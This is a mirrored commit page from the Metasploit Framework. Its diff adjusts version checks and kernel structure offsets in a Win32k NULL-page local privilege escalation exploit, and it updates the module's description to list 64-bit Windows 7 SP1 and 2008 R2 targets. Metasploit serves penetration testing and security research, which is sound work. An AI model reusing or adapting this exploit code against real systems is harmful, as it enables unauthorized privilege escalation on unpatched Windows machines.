mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land zeroSteiner/metasploit-framework#10 check clean up
This commit is contained in:
commit
5fa0403ac5
Binary file not shown.
Binary file not shown.
@ -177,14 +177,16 @@ void Win32kNullPage(LPVOID lpPayload) {
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
|
||||
LogMessage("[*] Windows 6.1 found...");
|
||||
OffsetWindows = 0x208;
|
||||
}
|
||||
#else
|
||||
if (VersionInformation.dwMajorVersion == 6) {
|
||||
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
|
||||
LogMessage("[*] Windows 6.1 found...");
|
||||
#ifdef _M_X64
|
||||
OffsetWindows = 0x208;
|
||||
#else
|
||||
OffsetWindows = 0xf8;
|
||||
#endif
|
||||
}
|
||||
else if (!VersionInformation.dwMinorVersion) {
|
||||
LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2
|
||||
@ -209,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
|
||||
return;
|
||||
|
@ -24,7 +24,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
can be triggered through the use of TrackPopupMenu. Under special conditions, the
|
||||
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
|
||||
code execution. This module has been tested successfully on Windows XP SP3, Windows
|
||||
2003 SP2, Windows 7 SP1 and Windows 2008 32bits.
|
||||
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
|
||||
2008 R2 SP1 64 bits.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
@ -49,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
# * Windows 2008
|
||||
# Tested on (64 bits):
|
||||
# * Windows 2008 R2 SP1
|
||||
# * Windows 7 SP1
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'Payload' =>
|
||||
|
Loading…
Reference in New Issue
Block a user